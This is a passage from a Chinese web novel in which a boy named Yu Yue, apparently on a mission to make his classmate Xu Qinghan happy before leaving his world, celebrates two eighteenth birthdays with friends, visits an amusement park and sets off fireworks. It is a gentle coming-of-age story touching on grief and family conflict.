【今天篮球赛打败了骁健人他们班,虽然许青翰没说,但能感觉得到他的心情很好。距离登出这个世界又近了一大步】
看着这一行行字,许青翰却忽然一点也开心不起来。
他知道不应该这样。
如果俞越的任务是为了给他带来愉悦,他应该配合他开开心心才对。
可一想到俞越就要离开,他就觉得心底闷得慌。
他还记得小时候他特别想拥有一条自己的小狗,央求了爸妈好久。
主要是卡在了母亲那里,许延倒是爽快,觉得养就养呗,反正因为他的出生,家里请了个保姆,他们平时没时间,保姆也能帮忙遛狗。
母亲却怕他三分钟热度,怕建立不起他的责任心,更怕——
相较于人类,小狗的寿命太短,将来的某一天他会因为小狗的离世痛苦崩溃。
小狗带来快乐的同时,也早早埋下了一粒难过的种子。
当时小小的他信誓旦旦地说:“妈妈,我都做好准备了。”
现在,就快要十八岁的他好想再问问她。
妈妈,我真的做好准备了吗。
-
陈劲叫俞越去办公室是为了交代一些有关于贫困生补助之类的事宜,回来的时候,教室里他的东西都已经被搬空了。
许青翰和孙旺都坐回了位置上面,等待着最后一节晚自习结束。
俞越笑着说:“一本都没给我留啊?我这节晚自习看啥?”
孙旺挠头,“哎呀,搞忘了,全给你搬宿舍去了。”
许青翰也后知后觉反应过来,正准备将自己的书本作业分享给他,便见前座的凌梅梅忽然转身,递给他一本语文书。
俞越将书接过,却没在里面发现夹带的小说。
凌梅梅将他的小动作看在眼里,冲他眨眨眼睛,说:“我倒是有本小说,但是明天就期末考试了,咱还是别看了,临时抱抱佛脚吧,考完我给你,领成绩单的时候你还给我。”
“行。”俞越老老实实翻开语文书,复习起了上面要求背诵的课文。
君不见黄河之水天上来,奔流到海不复回。
君不见高堂明镜悲白发,朝如青丝暮成雪。
人生得意须尽欢,莫使金樽空对月……*
默背着默背着,俞越忽然扯了一张许青翰的便利贴,拿走了许青翰的一支笔。
没多久,许青翰便收到了他写的:【考完试有什么安排吗?】
许青翰在后面回了两个字:【没有】
俞越:【要不要和我出去玩?】
许青翰:【去哪儿?】
俞越:【邻市那个很出名的游乐园】
许青翰顿了顿,没有立刻答应,又问:【为什么突然想去那里?】
俞越:【老早就想去了,攒了好久的钱呢。去不去去不去,一个人去太无聊了】
俞越:【人生得意须尽欢,莫使金樽空对月啊!】
原来俞越攒钱是为了这个。
路费、门票、吃住之类的花销确实不是小数目。
许青翰很想问,攒钱其实是为了他吗?
他没法问,只能问:【哪天出发?】
俞越当他是同意了,赶忙回答:【下周一吧,玩两天,周末可能人太多,项目要排很久的队】
期末考试历时两天,考完就是周六和周日。
好巧不巧,他的十八岁生日在下周二。
还真是算得一手好日子。
他去过那个游乐园,或者说,他小时候经常去,游乐园里就有主题酒店,母亲会预定家庭套房的联票,在那里住一晚,玩两天。
他已经好久好久没去过那里了。
看着已经被写得密密麻麻的便利贴,许青翰有些无从下笔,最后找了个角落,用红色的笔写下一个字:【好】
-
期末考试期间,终于落了场小雪。
雪花不大,落地就融,直到雪停都没在地面积起多少白色。
俞越和许青翰不在一个考场,俞越的考场在一楼,许青翰的考场在三楼,中午和晚上俞越都会等许青翰一起去食堂吃饭。
孙旺和凌梅梅幸运地分在了一个考场,会提前跑去食堂占位置,四个人边吃,边唠考题。
许青翰总是沉默地吃饭,被问才会回答一句。
倒不是因为不想说话,主要是怕对答案影响他们接下来的考试。
俞越:“今天语文考《将进酒》了,多亏林梅梅那天给我临时抱佛脚了语文书。”
凌梅梅:“嘿嘿,等今晚考完,我就把小说给你。”
孙旺:“盲猜一手,今天的英语考试作文是写给Lin Meimei的信。”
凌梅梅:“那你可得好好写。”
俞越笑:“别写成情书了。”
孙旺和凌梅梅耳朵都有些泛红起来。
凌梅梅扒拉了一大口饭,孙旺在桌下轻踢了踢俞越的脚。
许青翰视线状似无意地从两人身上扫过。
他是有些迟钝,但被俞越点拨之后,这段时间里还是能品出一点这两人之间与众不同的氛围的。
喜欢是什么感觉呢?
可惜,今天的英语考试作文不是写给Lin Meimei的信,是写给小明的。
看到作文题目的一瞬间,竟觉得有些怅然若失。
-
期末考试成绩没那么快出来,大部分学生都格外珍惜出分前短暂欢愉的寒假。
俞越花了一天时间看完了凌梅梅借给他的那本小说,又搭乘地铁去了趟市图书馆,将之前借的书还了,又借了两本新书。
一张借书卡的限额是三本,每次俞越都会还三本借三本,这次只还了两本借了两本是因为还有一本《时间简史》在他宿舍。
那书实在是太难啃了,他啃到现在还没啃完。
周日,他将两本新借的书也看完了,百无聊赖地给许青翰打过去了电话,一边简单收拾起了行李。
他没有行李箱,但有个容量不小的书包,左右也就过去住一个晚上,不用带太多东西。
许青翰已经收拾好了,和俞越聊了几句,房间的门忽被敲响,他借口有事将电话挂掉,走去开了门,但没将门完全打开,仅仅只开了一角。
门后是张可蓉那张虚伪的笑脸,擦着艳丽口红的嘴唇一张一合:“快到你十八岁生日了,刚好放寒假了,我打算带你们兄弟几个去你爸出差的城市旅游一周。”
“我不去。”
他已经很久没过过生日了。
今年确实特殊一点,过完他就十八岁了,是成年人了。
他可以和俞越一起庆祝成年,但绝对不可能和这群人一起。
“我已经和你爸说过了,他也很想你过去,还想给你买个生日礼物呢,”张可蓉面露难色,“那边有模型展,听说你挺喜欢的。”
许青翰终于明白他们的目的。
原来许延出差的城市就是母亲当年给他买模型的城市,因为前段时间自己忤逆他的事记恨到了现在,想继续加深对他的pua,将他重新关进负罪感的牢笼里面,继续掌控。
他是对不起母亲,对不起他们的家。
可这些年来,他够对得起许延了,也不欠现在这个不属于他的家什么。
握着门把的手背青筋凸起,力道大得几乎要将其掰断。
再窝囊逃避下去,母亲会伤心,俞越也会看不起他。
“我要留在这里陪我妈,”他一字一句说,“你们要是真的想给我过十八岁生日,就给我带个模型回来吧,我确实有个很喜欢的。”
张可蓉没想到他会这样直白,一时间竟有些找不着声音。
“可以吗?”许青翰没给她思考的时间。
“…当、当然可以。”张可蓉根本找不到任何拒绝的理由。
张可蓉把许青翰发给她的模型信息发给许延的时候,许青翰已经和俞越坐上了前往邻市的车。
看着模型的价格,许延眼睛都快瞪出来了,直接给张可蓉打过去了电话:“你怎么答应他买这么贵的模型?!”
张可蓉也是一脸吃了苍蝇的表情,“话都说到那个份儿上了…我怎么拒绝。”
-
“笑什么?”俞越看向坐在自己身边的许青翰。
因为邻市距离不算太远,游乐园有直达的大巴,他们是坐大巴车直接过去的,比坐高铁火车方便许多,下车就到了。
“发了笔横财。”许青翰将模型的事分享给了俞越,打算等收到模型就直接转卖掉。
俞越听弯了眼睛,“这不得请我吃加两根烤肠的煎饼果子。”
许青翰大方道:“回去就请你吃。”
许青翰有一点儿晕车,坐着坐着,靠着俞越的肩膀睡了过去。
俞越偷偷打开按键手机,拍下了一张画质不算太好的合照。
听说人死之后遗物都会被处理,他还没有想好怎么提前处理自己的东西。
其实也没多少东西。
思来想去,他决定烧了日记本,格式化手机,不想留下任何蛛丝马迹。
-
到游乐园后,两人先去里面的酒店
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放下行李。
酒店是童话主题风格的双人房,刚进去,俞越便在床上打了个滚。
比宿舍吱呀乱叫的床舒服多了,他很喜欢。
许青翰在一旁笑看着他,悠悠开口:“元宝以前也这样。”
俞越动作一顿,转过脑袋看向他,“怎么样?”
许青翰:“喜欢跳上我的床打滚,留下很多狗毛。”
俞越当即从自己的床上起身,到许青翰的床上也翻滚了一通,将他的话彻底落实。
翻滚完,脑袋上翘起了许多撮呆毛。
更像小狗了。
不怎么掉毛的小狗。
许青翰以前很喜欢给元宝梳毛,现在,他自然而然也抬起手,给俞越捋了捋头发。
“好了,走吧,去玩。”
俞越笑着跟他出了酒店。
游乐园的导览做得很好,一张地图就能清晰知晓各个项目的名称、地点、时间。
这些年来游乐园有了不小的变化,多了很多项目,少了很多项目,与许青翰印象中有些不同了。
俞越能玩的项目其实不多,大多时候在项目出入口等许青翰。
许青翰还是想玩一些能和他一起玩的项目,不想俞越在外面等着自己,俞越却说:“咱俩就靠你一个人玩回本了。”
于是,许青翰还是几乎将里面所有的项目都玩了一遍。
还记得小时候来这里,他因为身高、年龄等不达标,很多项目都没有玩,挺遗憾的。
现在也算是填补上了那时的遗憾。
每次许青翰从一个项目出口出来的时候,俞越手里都会拿着一个新鲜玩意儿。
或是两根棉花糖,或是两根烤肠,或是两杯奶茶,或是两个搞怪发箍……
游乐园里的消费不算便宜,俞越却一改往日的“斤斤计较”,一下子变得舍得花钱起来。
反倒是许青翰有些小不自在。
这些东西都够俞越买多少个煎饼果子、吃多少碗牛肉面了……
可转念一想,任务进度已经过半,俞越就要离开,离开前将钱都花掉倒也正常,毕竟也带不走。
于是许青翰也没说些什么。
他只要像以前那样乖乖配合俞越就好。
游乐园很大,走一圈下来正常人都会气喘吁吁,考虑到俞越的身体情况,第一天他们就只玩了一半,反正他们买的是酒店套票,明天还能继续玩一天。
晚上回到酒店,俞越累得睡了会儿,再醒来是被许青翰叫去看烟花。
游乐园晚上会放烟花,酒店的窗外就能看到,不用去外边吹冷风人挤人。
一朵朵烟花在漆黑的夜幕炸开,很快消逝,直到完全归于寂静。
“许青翰,过年你要不要和我一起放烟花?”俞越的声音在烟花声结束后响起。
“嗯?去哪儿放?”
溟市已经不允许私放烟花了,会有管控。
“乡下。那里不管。”
“行,你到时候叫我。”
“好。”
一觉睡醒,俞越有点饿了,和许青翰去外面吃了点夜宵,回来的时候已经是十一点多了。
“你先去洗澡吧,你洗完了我再洗。”俞越对许青翰说。
许青翰点点头,走进了浴室。
洗到一半,他听见外面有开门的声音,很快,房间内的灯被关上了,就只剩下了浴室内还亮着,他的心跳陡然加速起来,不由加快了些洗澡速度。
男生洗澡本来就快,不过三两分钟,他便推开浴室的门走了出来,匆忙间,连眼镜都忘了戴。
外边的小圆桌上,一个生日蛋糕上的蜡烛亮着柔软的火光。
是一根“1”和一根“8”。
组合起来,拼凑了他的18。
0点过了,他18岁了。
“许青翰,生日快乐。”俞越站在蛋糕旁边,身形半明半暗,手里拿着他的手机,像是在录制什么。
许青翰愣站在原地,一时间竟有些失声。
原来,就算早就做好了准备,还是会因为这一刻的到来不知所措。
直到俞越引导般的声音再次响起,他才终于找回身体的控制权。
“快来许愿、吹蜡烛。”
许青翰乖乖走了过去,因为洗澡发梢沾上了一点潮湿,小小的水珠滚落到脖颈,刺激着发烫的皮肤。
俞越手里的镜头跟随他转动着,后来他无数次回看这段视频,却找不到一帧拍摄者的出镜。
他已经来到了蛋糕跟前,看向镜头外的人,对方给自己戴上了手里的生日帽,在他的眼神催促下,双手合十,匆匆在心底许了个愿。
“呼。”
蜡烛被他吹灭,视频画面陡然沉入黑暗。
像是,一场电影的落幕。
20.第 20 章
俞越按下了视频的暂停键,快步走向开关处,重新亮起了房间内的顶灯。
许青翰站在蜡烛熄灭的蛋糕前,头顶着生日帽,没戴眼镜,眼角的小痣清晰可见,因为明暗的快速切换,他下意识眯了眯眼,几秒钟后才终于适应。
“可以切蛋糕了。”俞越将息屏了的手机放在桌角,笑着给他递去蛋糕刀。
拿着蛋糕刀,许青翰没有直接切蛋糕,而是定定注视着他,明知故问:“……你怎么知道我的生日?”
俞越眨了眨眼,解释说:“之前填资料的时候看到你的身份证号了,刚好来这里玩儿,顺道给你庆一庆生,毕竟是18岁嘛。”
身份证号上就带有详细的出生日期。
许青翰张了张口,却不知道还能再说些什么,加上俞越又催促了一声快切蛋糕,只得先给了蛋糕一刀。
因为只有他们两个,俞越订的是一个不太大的4寸蛋糕,横着切一刀就能一分为二,他们一人一半。
蛋糕是水果夹心的,混杂着奶油,一刀下去他也看不清楚里面到底都有哪些水果,是否有会让他过敏的芒果。
印象中,水果蛋糕里芒果通常是标配。
但他也懒得管了,直接尝了一口。
有芒果他也吃。
直到和俞越有说有笑将蛋糕吃完,他也没吃到任何芒果。
看着俞越唇角沾染上的一点白色奶油,他随手抽出纸巾给他擦了擦,心道是啊,俞越怎么会不知道他对芒果过敏呢。
关于他的一切,俞越好像无所不知。
俞越被擦得愣了一下,心跳微微加速,双颊的酒窝稍稍收敛,他垂了下视线,见许青翰收回了手,放下已经吃完的蛋糕盘,神神秘秘从书包里拿了一个东西出来。
“喏,礼物。”
是个巴掌大小的盒子,里面不知道装着什么。
许青翰迫不及待接过,拆了开来。
是一个散发着腊梅香味的小香囊,上面缝着一条被红线勾勒填充的小鱼。
许青翰越看这条小鱼越觉得似曾相识,迟疑着问:“这是…那条咸鱼吗?”
俞越骄傲点头,“怎么样?我改得还不错吧?现在请叫它的新名字——锦鲤。”
许青翰又将小鱼仔细打量了一番。
原本从T恤上被剪下来的小咸鱼被红线勾边修改,当真看不出半点咸鱼的模样,确实像条红锦鲤,若不是他对那条咸鱼印象太深,根本认不出来。
没想到俞越会再利用那块被恶意剪下的布料,赋予新生。
触着针脚细腻的小小香囊,许青翰感觉自己也被一根看不见的针线缝合起了破碎的地方。
操控针线的,正是眼前的人。
“你怎么还会缝这些东西?”许青翰总感觉自己对俞越的了解太少太少,俞越常常给他带来很多惊喜,他却无从探寻。
俞越嘿嘿一笑,“我会的东西多着呢,别小瞧我。”
许青翰心道他可不敢小瞧,一边打开香囊,看见了里面鼓鼓囊囊塞满的黄色腊梅。
特别香。
“等这些梅花枯萎了,你就丢了,换点新的进去,可好闻了,”俞越絮絮叨叨起来,“春天可以换成栀子花,夏天可以换成茉莉花,秋天可以换成桂花,冬天就是梅花……”
“好。”
一个小小的香囊,承载起了盛大的时间循环。
-
因为又摄入了半个蛋糕,两人都有些吃撑,俞越在房间里活动了一下,去到浴室洗了个澡。
洗澡期间他没有将浴室的门合上,因为心脏不好,密闭的浴室空间很容易喘不上气,只能将门敞着,反正他们都是男生,没什么不方便的。
酒店的房间里开着暖和的空调,怎么也不冷。
听着浴室清晰的水声,许青翰靠在床头,点开俞越方才用他手机录制的视频,将视频完完整整看了几遍。
视频是昏暗的暖色,像落日时分,一天将要结束。
视频里的自己有一点呆,尤其是戴上生日帽后。
原来站在俞越的视角看自己,是这副模样。
视频画面再次黑下来的时候,许青翰终于退出了播放界面,点开了手机内的日历,寻找起了一个日期。
2月17日。
俞越身份证上的生日。
那时候临近开学但还没有开学,可以偷偷联系一下孙旺他们,给俞越准备一份生日惊喜。
正想着,浴室内忽然响起了一些不对劲的声音。
像是……俞越摔倒了。
许青翰当即放下手机,朝浴室的方向大步走了过去,一边问:“俞越?怎么了?”
浴室里的水声依旧,俞越的声音带着吃痛的喘:“不、不小心摔了,你…你……”
他想说你别进来,但又感觉自己的状态不能再逞强,最后还是没说出口。
许青翰已经出现在了浴室门口。
浴室的门是敞开着的,一眼便能看清里面的景象。
俞越倒在花洒下面,水流冲刷着他的身体,头发湿哒哒的,像条扑腾的小鱼。
许青翰当即走进,关掉花洒,将他扶了起来,身上不可避免沾染上了水渍。
俞越的脸颊、耳朵、脖颈全红透了,皮肤也泛起了粉,因为自己此时的状态不敢去看许青翰的眼睛,扑闪着睫毛,抖落了上面的小水珠。
许青翰也没有多想,要是光着身体的人换作是他,他也会觉得害臊。
“有没有摔到哪儿?还能走吗?”许青翰将他整个儿打量了一番,没有看见任何红色的血液,应当没有摔出外伤。
俞越呼吸促狭,胡乱点了点头,扶住了浴室内的把手,重量从许青翰的身上移开,示意他能自己站着。
许青翰见状松开手,拿来一件浴袍,帮他穿在了身上。
俞越的膝盖摔青了一块,因为疼痛走路有些跛脚,趁许青翰去浴室拿吹风机的空挡,从书包里面掏出小药瓶干咽了下药片,坐在床角调整起了呼吸。
许青翰拿着吹风机和干毛巾出来的时候察觉到了俞越的不对劲。
毕竟相处了这么久,俞越这不像是单纯摔疼后的反应,反倒像是心脏处的问题。
“还好吗?”
“没事,吓到了,心跳有点快,休息会儿应该就好了。”
许青翰点点头,忽然摔倒确实会被吓着,问:“刚才怎么摔到的?”
“……脚滑了一下。”
许青翰没有怀疑什么,说了句下次当心,拿起干毛巾,给俞越擦起了头发。
虽然房间内开着暖风空调,但毕竟是冬天,不赶紧弄干头发还是可能会生病。
俞越乖乖坐着,享受起了许青翰的照顾,如果心脏没出问题就更舒服了。
好在药效起了作用,情况渐渐好转,腿上摔的淤青也不是什么大问题,睡一个晚上应该就不影响走路了。
最后许青翰用吹风机彻底给俞越吹干了头发,时间不早,两人直接躺上各自的床上休息了。
这天晚上,许青翰做了一个特别奇怪的梦。
梦里,俞越和他睡在了一张床上……俞越还没穿衣服。
第二天醒来的时候,许青翰下意识看了眼隔壁床的俞越,还睡着,身上穿着昨晚换上的秋衣。
许青翰狠狠松了口气。
估计是因为昨晚俞越在浴室摔倒的场面印象太深,晚上才会做那样的梦,许青翰并未放在心上。
-
第二天两人又在游乐园玩了大半天,傍晚才乘坐大巴回去。
俞越直接回了学校宿舍,许青翰没有直接回家,而是去了趟墓园,带着几枝腊梅。
母亲很喜欢花,尤其是有香味的花。
听她以前说,许延追她的时候时常送她花,可许青翰却没怎么见许延给她送过花。
她解释说都结婚生子老夫老妻了,哪儿还需要那些年轻人的调情方式。
可他小学的时候,用比赛获得的奖金去花店给她买了一小束花,她却开心得合不拢嘴,分明是喜欢的。
他觉得,如果是许延送给她,她应该会更开心。
小时候的他不懂很多东西,长大后渐渐都明白了。
母亲家世好,上头只有一个年龄相差较大的哥哥,是老来女,是全家的宠儿,嫁给许延算是低嫁。
许延或许看中她的美貌,或许看中她的性格,或许看中她的家世,待她的真心远比不上想要在她身上谋取利益的欲望。
她在年轻的时候没能受住花言巧语的攻势,毅然决然嫁到了离家很远的南方,她家里人心疼她,给了不少陪嫁,总是贴补。
许延一边享受着她带来的利益,一边又觉得靠女人丢脸,心理渐渐扭曲,一点点小事都能联想到她看不起他上,但他伪装得很好,竟看不出任何破绽,就连他也曾天真的以为他只是个因为工作繁忙而时常缺席他成长的父亲角色。
直到后来,许延娶了张可蓉。
张可蓉是和母亲截然相反的类型,像朵娇弱的菟丝花,很会哄男人,许延那点脆弱的自尊心在她那里得到了很好的抚慰。
而母亲呢,在离乡远嫁、孕育他后,早已长成了坚韧的凌霄。
之前,他因为竞赛拿到了top大学的保送名额,消息被许延知道那天,他在外吹嘘了好久,喝得烂醉回家,打开了他卧室的门,想在他这儿得到点什么,比如“他能取得这样的成就与他这位父亲脱不了干系”之类父慈子孝的奉承,可他没有,他只是想让喝醉了酒的他赶紧回去休息。
许延直接炸了,给了他一巴掌,恨恨地说:“你是不是觉得自己很能耐啊?看不起老子?”
他好像并没有那么开心自己的成绩。
更多的,是在儿子这里得不到尊敬崇拜的恼羞成怒,是渐渐失去对儿子掌控的彻底破防。
他将他当成在外炫耀的谈资,又想将他牢牢控制在掌中,一辈子在他面前低头。
可他早就已经不是无力的幼鸟。
他的羽翼丰满,他的爪子尖锐,他的喙叨开笼子,他能展翅高飞。
“妈,我来看您了,今天开始我就十八岁了,是个成年人了。”
许青翰将手里的腊梅放在光秃秃的墓碑前,坐在了冷冰冰的地上。
幸而前几天的雪落得小,并没有积在地面,否则这会儿还是湿的,没法坐。
“之前的生日就只有您陪着我,今年不一样,有个很好的朋友陪我,他叫俞越,我们去了以前经常去的邻市的那个游乐园,他还给我买了生日蛋糕,我已经很久没吃过自己的生日蛋糕了。”
“吹蜡烛的时候,我许了个愿望,我想明年生日还能像今年这样开心。我不知道能不能实现。”
“看,这是他送给我的香囊,里面也装着腊梅,特别好闻。”
“他好像要离开了。”
“我有点舍不得……”
“但也没什么办法。”
“他的身上都是秘密,我触及不到的秘密。”
“或许,我再努力专研个几十年物理,还能有机会再和他见面呢。”
“还有半年我就要离开去京市了,到时候就没办法常来这里看您了,我会好好学习的。”
天已经彻底黑透了,一朵朵雪花忽然被风卷着飘洒下来,落上少年的发顶,一触即融,没能在上面留下一点白色。
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>领成绩单是在一周多以后。
俞越的名次与期中考试没有改变,没进也没退,倒是挺稳,许青翰也还是老样子。
孙旺和凌梅梅都退步了一点,但在发挥失常的范围内,不算特别要命,但也有些丧气。
俞越将小说还给了凌梅梅,想了想,就要离开的时候对孙旺说:“我今天中午能去你家玩会儿不?”
原本还垂头丧气的孙旺瞬间精神起来,“好啊好啊,你和我一起回去,我妈就不好意思当着你的面教训我了。”
俞越无奈一笑。
许青翰将之看在眼里,不知道俞越为什么突然提出去孙旺家里做客,明明上了高中之后,孙旺就被他刻意“冷落”了,再也没有去过他家里玩儿。
有些好奇,但又无从探究。
自从那天看见日记本后,他好像一下子变得敏感多疑起来,总感觉俞越就要离开、就要开始准备处理“后事”了。
眼见着俞越就要和孙旺一起离开,许青翰脑子转得飞快,开口问道:“是在学校对面我收快递的那个小区吗?”
俞越点点头,“对。”
许青翰脸不红心不跳地撒谎道:“一起过去吧,我有个快递要取。”
孙旺听罢试探着邀请道:“要不一起去我家玩儿吧!明天我就要回老家那边了,冰箱里我妈买了很多菜还没吃掉呢,刚好帮忙一起消灭一下。”
他不确定许青翰会不会答应。
谁料许青翰答应得爽快:“好。”
三人一道不紧不慢朝着小区走去,经过门口驿站的时候,许青翰装模作样地看了眼手机,蹙着眉说:“那个快递怎么送去我家那边了……”
怕被发现端倪,他火速将手机息屏,揣进口袋里面,兀自说道:“可能是地址忘改了,不管了。”
一场笨拙的独角戏,幸好没人怀疑什么。
孙旺还附和说:“我之前也是,忘记把地址改到这个小区,直接送我老家去了,服了。”
俞越也道:“下次注意点儿。”
许青翰:“嗯嗯。”
孙旺的妈妈特别热情,很高兴俞越又来家里做客了,还带来了许青翰这个传说中的人物,做了一大桌子丰盛的午餐。
因为就要搬回老家准备过年,孙旺的爸爸也过来了,他是个在外开货车的,皮肤黝黑,性格特真诚,还给了孙旺几百块钱,让他下午带俞越和许青翰出去玩儿。
孙旺笑眯眯地收下了钱。
吃完饭三人却没有出去玩,而是去了孙旺的卧室,因为前几天连着落了场大雪,外面的残雪还没化掉,俞越嫌冷,又懒得动。
孙旺卧室有一些桌游,可以打发时间,俞越挑选了一盒大富翁,三个人开始掷起了骰子。
一边玩,俞越一边说:“你和凌梅梅现在是什么关系?”
孙旺没想到他冷不丁问这么个问题,手里的骰子一歪,摇了个对他没用的1点,“怎么突然问这个……”
俞越:“老实回答。”
孙旺:“就、就在一起了呗。”
轮到了俞越掷骰子,他一边掷,一边问:“这次期末考试,你们俩都退步了,你觉得是因为什么原因?”
孙旺眼神心虚地闪烁了一下。
其实普通朋友之间说这些有些像是说教的话会引起一点反感,但他们不是普通朋友。
就像孙旺也会在俞越手里拿着冰可乐的时候不由分说一把抢走,将他批评一顿那样,其实他根本没打算喝。
良久,等许青翰也掷完了骰子,孙旺才小声回答:“我们…确实有点影响到学习。”
俞越将骰子握在掌中,没再掷出去,定定与孙旺对上视线。
“早恋不好,再这样下去,我建议你们高中毕业之后上了大学再谈恋爱。”
“你们要为自己的未来负责,也要为对方的未来负责。”
“这些其实你们都懂的,根本不用我说,但我还是想说,因为你们都是我的朋友,我希望你们能走得很远。”
凌梅梅虽然喜欢看小说,但她从小学就开始看了,并没有因为看小说影响到听课作业,只是将小说当做课余时间的消遣,她就这么一个兴趣爱好。她的成绩也不错,在班级十名左右,一直很稳,这次期末才下跌的,原因很明显了。
孙旺也不知道说什么好,战术性挠了挠头,声音嗫嚅:“唉,我知道,这次成绩出来,我其实也有点害怕,看见她名次退步比看到我名次退步还怕,我会好好和她聊聊的。”
俞越点点头,故作严肃的语气:“下学期开学考你们好好准备,要是名次没提升回去,我就要一一约谈你们了。”
孙旺笑着配合他:“好好好,保证不让小俞老师失望。”
-
大富翁最后以俞越和孙旺破产告终。
许青翰这人太逆天,好似不管做什么都能赢。
从孙旺家吃完晚饭离开的时候,俞越听见身边的许青翰冷不丁唤了自己一声:“小俞老师。”
俞越一脸好笑地转眸看他,“怎么了?小许同学。”
许青翰终于忍不住问:“你怎么这么排斥早恋?以前早恋受过情伤?”
这不是他第一次在俞越这里听见排斥早恋的言论了,这对俞越这样性格的人来说有点奇怪,他并不像是个守旧派。
俞越没想到会听见这样一句,给了许青翰一个你脑子里都在想些什么的眼神。
“当然没有,我才不早恋。”
“就是以前…认识的人早恋,后来过得特别痛苦。”
“要不是我帮忙,她会继续痛苦下去。”
许青翰抿下了唇。
是他之前世界的攻略者吗?
21.第 21 章
俞越并没有跟许青翰说太多有关于那个“朋友”的事,只是打着哈哈揭过了,许青翰也识趣地没问太多。
时间一晃就到了过年。
俞越去了乡下奶奶的老房子,从电话里可以知道他经常去邻居家蹭饭,日子过得倒是有滋有味。
留在农村的基本都是些适应不了城市生活的老人,唯一的需求便是陪伴,俞越性格讨喜,几乎每家每户都欢迎他过去做客。
团圆饭也是在奶奶生前关系最好的闺蜜家吃的。
小老太太年纪大了,去年生病动了场手术,救回来了,但落了个半身瘫痪,俞越时常推她到院子里晒太阳,她偶尔会念起奶奶的名字。
“淑啊…又过年了。”
奶奶去世的时候,她哭得眼睛里都是红血丝,嗓子也哭哑了。
刻骨铭心的友情大抵就是如此,一点儿也不逊于亲情、爱情。
生时有多要好,死后便多痛苦。
-
许青翰是在正月初三来找他的。
俞越给的见面地点是一个废弃的乡镇小学,出租车稳稳停在门口,俞越兴冲冲地帮他打开了车门。
“怎么买了这么多?”俞越看着蛇皮袋内的烟花爆竹咋舌。
“模型转卖了不少钱,就多买了些,玩个尽兴。”许青翰解释说。
俞越点点头,没再说什么,带着许青翰走进了这所小学。
他一边走,一边向许青翰介绍起了这里。
“这是我小时候读书的小学,不过就在这里读了一年,因为奶奶当初收养我的时候手续有些麻烦,暂时上不了市里的小学,怕我学习跟不上,就先把我塞进了这里。”
“这里已经荒废很久了,几年前一直说要拆掉建什么山庄,到现在也没开始拆。”
“学校的操场很大、很空旷,我们可以去那里玩,不要离建筑太近,我怕有安全隐患。”
学校的建筑上面爬满了各种植物,但都因为冬的到来褪成了枯败的颜色,被还未融化的白雪覆盖,往下滴滴答答着冰冷的水珠,有的落在地上,有的凝成了冰棱。
没多久,空旷的废弃操场上亮起了噼里啪啦的火光。
确实玩得尽兴,两人花了大半天的时间才将这些全都点完。
有的炸得厉害,许青翰下意识捂住俞越的耳朵,怕他会被吓着。
俞越笑出了一对酒窝,“我又不是小孩子,不怕这些。”
中午两人吃的是俞越特地带过来的红薯,他还带了几块煤炭,点着烤一烤就能吃,香的很。
事后清扫走了残余的垃圾,天也快黑了。
其实天黑之后会更好玩,白天太亮,削弱了火光的绚烂,但俞越不方便留宿许青翰,也怕许青翰太晚回家不安全,最近路面有些结冰,夜间会很危险,前段时间溟市就出过较严重的连环追尾车祸,一人死亡,多人受伤。
离开前,等车的时候,许青翰冷不丁问:“明年过年还一起放烟花吗?”
俞越看着路的尽头,不答反问:“明年过年你还回溟市吗?”
许青翰知道自己不应该再继续问下去了,给了个结束话题的答案:“到时候再说吧。”
许青翰坐上出租车后,俞越定定注视了好久车子离开的方向。
有一滴树上落下的雪水钻进他的颈窝,刺骨的冷意霎时蔓延开来。
烟花熄了,热闹去了。
这个年也要结束了。
-
2月17日这天俞越睡得很早,错过了0点的几条生日短信。
许青翰:【小俞,生日快乐】
孙旺:【生日快乐啊!!恭喜恭喜终于是个成年人了!!在这里叫你一声小俞哥】
凌梅梅:【俞越十八岁生日快乐=w=!】
醒来的时候,他看着这些短信有些怔愣,在心底后知后觉地啊了一声。
今天原来是他的生日吗。
他是记得2月17日这个时间的,但就像是死记硬背的公式,在脑子里存有痕迹,却无法灵活运用。
以前奶奶还在的时候,每年生日都会给他煮一碗长寿面,而他和孙旺并没有庆生的习惯,去年的生日他就没过。
但今年是十八岁,确实可以庆祝一下。
就是有些可惜,孙旺和凌梅梅比他小一岁,赶不上他们的十八岁生日了。
因为小时候的经历,他入学晚,比同级的同学要大一岁,许青翰也是因为初一母亲意外去世休学了一年才与他同岁的。
俞越一一回复了短信,刚回完,许青翰的电话便拨了过来。
俞越赶紧按下接听键。
“出来过生日吗?学习交流小组等你。”
俞越一个鲤鱼打挺。
-
许青翰不知道俞越家在哪儿,便打车到了之前放烟花的废弃小学门口,等了会儿俞越才匆匆忙忙赶到。
“孙旺和凌梅梅先去那边等着了。”
为了能顺利出来,凌梅梅又借口说学神组织了学习交流小组,准备高二下学期的开学考试。
“那边是哪边?”
“到了就知道了。”
“喔……”
搞得这么神秘。
没想到竟然是在海底捞。
戴着生日帽被围着唱歌的俞越有几分社死,抬手捂住了脸,从指缝里偷偷地看。
身前是个较大的8寸蛋糕,上面插着18的蜡烛,许青翰举着手机正在录像,凌梅梅双手打着节拍,孙旺唱得最起劲,将隔壁许多桌的视线都吸引了过来,更有社牛加入了进来,三个挚友,一群陌生人为他庆祝着十八岁的生日,好不热闹。
手指模糊着视线,将画面分割成了一块块幸福的光斑。
这真的是他度过的最快乐的一个世界了。
他闭上眼睛,许下了与那日写在漂流瓶中相同的愿望。
再睁开眼,许多双含笑的视线聚焦在他身上。
“呼。”
他吹灭了蜡烛。
-
今天的蛋糕很大,被切成了许多块,还分给了邻桌的小朋友。
几人一边吃蛋糕,一边进行最后的生日礼物环节。
孙旺不知道送什么礼物,干脆直接给俞越塞了个红包,俞越自己喜欢什么买什么,刚好赶着过年,红包也挺喜庆,而且他感觉俞越最缺的其实也就是钱了。
凌梅梅送了俞越两本小说,是他很喜欢的一个作者写的,最新出的珍藏本。
许青翰则送了俞越一个挂件。
俞越端详了挂件许久,觉得挺可爱的,就是有些看不出是什么,问:“这是个什么生物?像狗又像鱼的……”
许青翰回答:“小狗鱼。”
孙旺也凑了过来,笑着说:“挺适合小俞的。”
俞越直接给了他一个肘击。
凌梅梅问:“是什么IP吗?”
潜意识里,世界上应该不存在这样的生物,很可能是网络上幻想类的IP设计。
许青翰打开手机,给他们看上面有关于狗头鱼的科普,这种鱼是真实存在的,脑袋酷似小狗,很多人会养做宠物。
“还真有这种鱼啊。”俞越笑着摸了摸手里毛绒绒的小狗鱼挂件,稀罕得不行。
恰在这时,海底捞的员工端着一碗面走了过来,是赠送的生日专属长寿面。
长长的一根,要一口气吃完,福寿才能绵延不断。
